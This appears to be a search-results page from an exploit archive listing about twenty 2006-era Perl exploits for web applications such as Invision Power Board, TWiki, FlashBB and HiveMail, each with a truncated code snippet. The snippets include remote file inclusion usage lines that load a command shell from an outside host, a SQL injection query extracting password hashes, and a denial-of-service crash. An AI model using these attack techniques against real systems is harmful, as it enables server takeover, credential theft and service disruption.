913 matches found
phPay <= 2.02 (nu_mail.inc.php) Remote mail() Injection Exploit
Exploit for unknown platform in category web applications =============================================================== phPay \n"; if scalar@ARGV headers\n"; print "\t : orly\n"; print "\t : folder where phpay is installed /phpay/ /phpayv2.02/ ..\n"; print "\t : duh\n"; print "\theaders :...
WEBInsta CMS 0.3.1 - templates_dir Remote File Inclusion
WEBInsta CMS 0.3.1 - templatesdir Remote File Inclusion !/usr/bin/perl WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Exploit Bug Found & code By K-159 echo.or.id c 2006 usage: perl WEBinsta.pl perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell...
TWiki 4.0.4 - 'configure' Remote Command Execution
!/usr/bin/perl Tue Aug 1 13:18:12 CEST 2006 [email protected] use strict; use LWP::UserAgent; use LWP::Simple; use HTTP::Request; use HTTP::Response; use Getopt::Long; $| = 1; couse 1 is bigger than 0 my $proxy,$proxyuser,$proxypass; my $host,$debug,$dir, $command; my $options = GetOptions 'host=...
Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection Exploit (2)
Exploit for unknown platform in category web applications ================================================================== Invision Power Board 2.1 new; &header; if @ARGV ".$server."result.txt"; for$id = 1; $id = $kol; $id++ $ownquery = "UNION SELECT convergepasshash,1,1,1 FROM...
Invision Power Board 2.1 2.1.6 - SQL Injection (1)
Invision Power Board 2.1 2.1.6 - SQL Injection 1 !/usr/bin/perl Invision Power Board v2.1 "r57ipb216gui" ; $mw-geometry '420x550' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'Invision Power Board 2.1. 'Verdana 7 bold',-foreground='red'-pack; $mw-Label-te...
Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Invision Power Board v2.1 = 2.1.6 sql injection exploit by RST/GHC Based on LOCALIP bug, more info in RST/GHC Advisory41 http://rst.void.ru/papers/advisory41.txt tested on 2.1.3, 2.1.6 08.06.06 coded by 1dt.w0lf RST/GHC http://rst.void.ru...
ImgSvr 0.6.5 - POST Denial of Service
ImgSvr 0.6.5 - POST Denial of Service !/usr/bin/perl Proof of concept. Credit's:to n00b for finding this bug. Afected :ImgSvr.exe Download softwear: http://freshmeat.net/projects/imgsvr/ Crash the server with overly long http post request.. Main site of affected product...
DreamAccount 3.1 - 'auth.api.php' Remote File Inclusion
!/usr/bin/perl use HTTP::Request; use LWP::UserAgent; ---------------------------------------------------- DREAMACCOUNT V3.1 Remote Command Execution Exploit ---------------------------------------------------- Discovered By CrAshoVeRrIdEArabian Security Team Coded By Drago84Exclusive Security Te...
FlashBB <= 1.1.8 (phpbb_root_path) Remote File Include Exploit
Exploit for unknown platform in category web applications ============================================================== FlashBB perl flashBB.pl http://target.com/flashbb http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Contact: h4ntu email protected use LWP::UserAgent;...
FlashBB 1.1.8 - 'phpbb_root_path' Remote File Inclusion
!/usr/bin/perl TUFaT FlashBB perl flashBB.pl http://target.com/flashbb http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Contact: h4ntu [email protected] use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv = $ARGV2; if$Path!/http:/// ||...
Jetbox CMS <= 2.1 (relative_script_path) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ====================================================================== Jetbox CMS uso: perl own.pl perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor:...
HiveMail 1.3 - addressbook.add.php Remote Code Execution
HiveMail 1.3 - addressbook.add.php Remote Code Execution !/usr/bin/perl HiveMail = 1.3 remote command execution exploit Advisory: http://www.gulftech.org/?node=research&articleid=00098-02102006 To get the hivesession: log on hivemail with firefox then look at the hivesession number in the url. ye...
HiveMail 1.3 - 'addressbook.add.php' Remote Code Execution
!/usr/bin/perl HiveMail = 1.3 remote command execution exploit Advisory: http://www.gulftech.org/?node=research&articleid=00098-02102006 To get the hivesession: log on hivemail with firefox then look at the hivesession number in the url. yes i know... Dork: "Already have an account?" "Enter your...
Auction 1.3m - 'phpbb_root_path' Remote File Inclusion
!/usr/bin/perl phpBB auction mod - Remote File Inclusion Vuln Bug discovered by VietMafia code copier: webDEViL w3bd3vilatgmail.com code same as Fast Click perl wb1.pl http://vulnerable.com/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path =...
Albinator <= 2.0.6 (Config_rootdir) Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl Albinator Multiple Parameter File Inclusion Bug discovered by VietMafia and r0t code copier: webDEViL w3bd3vilatgmail.com code same as Fast Click = 2.3.8 Remote File Inclusion exploit Dork:"powered by Albinator " usage: perl wb.pl target cmd shell...
Fast Click 1.1.32.3.8 - show.php Remote File Inclusion
Fast Click 1.1.32.3.8 - show.php Remote File Inclusion !/usr/bin/perl Fast Click perl fc.pl http://target.com/fclick/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv = $ARGV2; if$Path!/http:/// ||...
Aardvark Topsites PHP 4.2.2 - 'lostpw.php' Remote File Inclusion
!/usr/bin/perl Aardvark Topsites PHP All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ to set your PHP shell location: cijfer$ shell=http://my.shell.fi/phpshell.gif?&cmd= php shell set to 'http://my.shell.fi/phpshell.gif?&cmd='...
Advanced GuestBook <= 2.4.0 (phpBB) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ================================================================= Advanced GuestBook if @ARGV ne 3 else sub header print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n"; print "+ Advanced GuestBook for...
Advanced GuestBook <= 2.4.0 (phpBB) Remote File Inclusion Exploit
No description provided by source. !usr/bin/perl use LWP::UserAgent; Bug Found by Oo Exploit coded by n0m3rcy Copyright c 2006 [email protected] Gr33tz; nukedx , Devil-00 , str0ke , cijfer Usage; n0ag.pl target cmd shell location cmd shell variable if @ARGV ne 3 else sub header print...
Advanced Guestbook 2.4.0 - 'phpBB' Remote File Inclusion
!usr/bin/perl use LWP::UserAgent; Bug Found by Oo Exploit coded by n0m3rcy Copyright c 2006 [email protected] Gr33tz; nukedx , Devil-00 , str0ke , cijfer Usage; n0ag.pl if @ARGV ne 3 else sub header print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n"; pri...